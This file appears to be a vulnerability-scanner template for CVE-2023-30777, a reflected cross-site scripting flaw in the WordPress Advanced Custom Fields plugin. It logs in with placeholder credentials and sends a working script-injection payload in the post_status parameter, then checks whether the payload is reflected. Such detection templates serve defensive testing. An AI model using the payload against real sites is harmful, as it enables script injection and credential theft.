53 lines
2.3 KiB
YAML
53 lines
2.3 KiB
YAML
id: CVE-2023-30777
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info:
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name: Advanced Custom Fields < 6.1.6 - Cross-Site Scripting
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author: r3Y3r53
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severity: medium
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description: |
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Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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reference:
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- https://wpscan.com/vulnerability/95ded80f-a47b-411e-bd17-050439bf565f
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- https://wordpress.org/plugins/advanced-custom-fields/advanced/
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- https://nvd.nist.gov/vuln/detail/CVE-2023-30777
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- https://patchstack.com/database/vulnerability/advanced-custom-fields-pro/wordpress-advanced-custom-fields-pro-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
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- https://patchstack.com/database/vulnerability/advanced-custom-fields/wordpress-advanced-custom-fields-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
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remediation: Fixed in version 6.1.6.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2023-30777
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cwe-id: CWE-79
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epss-score: 0.00343
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cpe: cpe:2.3:a:advancedcustomfields:advanced_custom_fields:*:*:*:*:-:wordpress:*:*
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epss-percentile: 0.67945
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metadata:
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max-request: 2
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verified: true
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framework: wordpress
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vendor: advancedcustomfields
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product: advanced_custom_fields
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tags: wpscan,cve,cve2023,advance-custom-field,wp,wp-plugin,wordpress,authenticated,xss
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/edit.php?post_type=acf-post-type&post_status=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers:
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- type: dsl
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dsl:
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- 'status_code_2 == 200'
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- 'contains(content_type_2, "text/html")'
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- 'contains(body_2, "onanimationstart=alert(document.domain)//")'
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- 'contains(body_2, "Advanced Custom Fields")'
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condition: and
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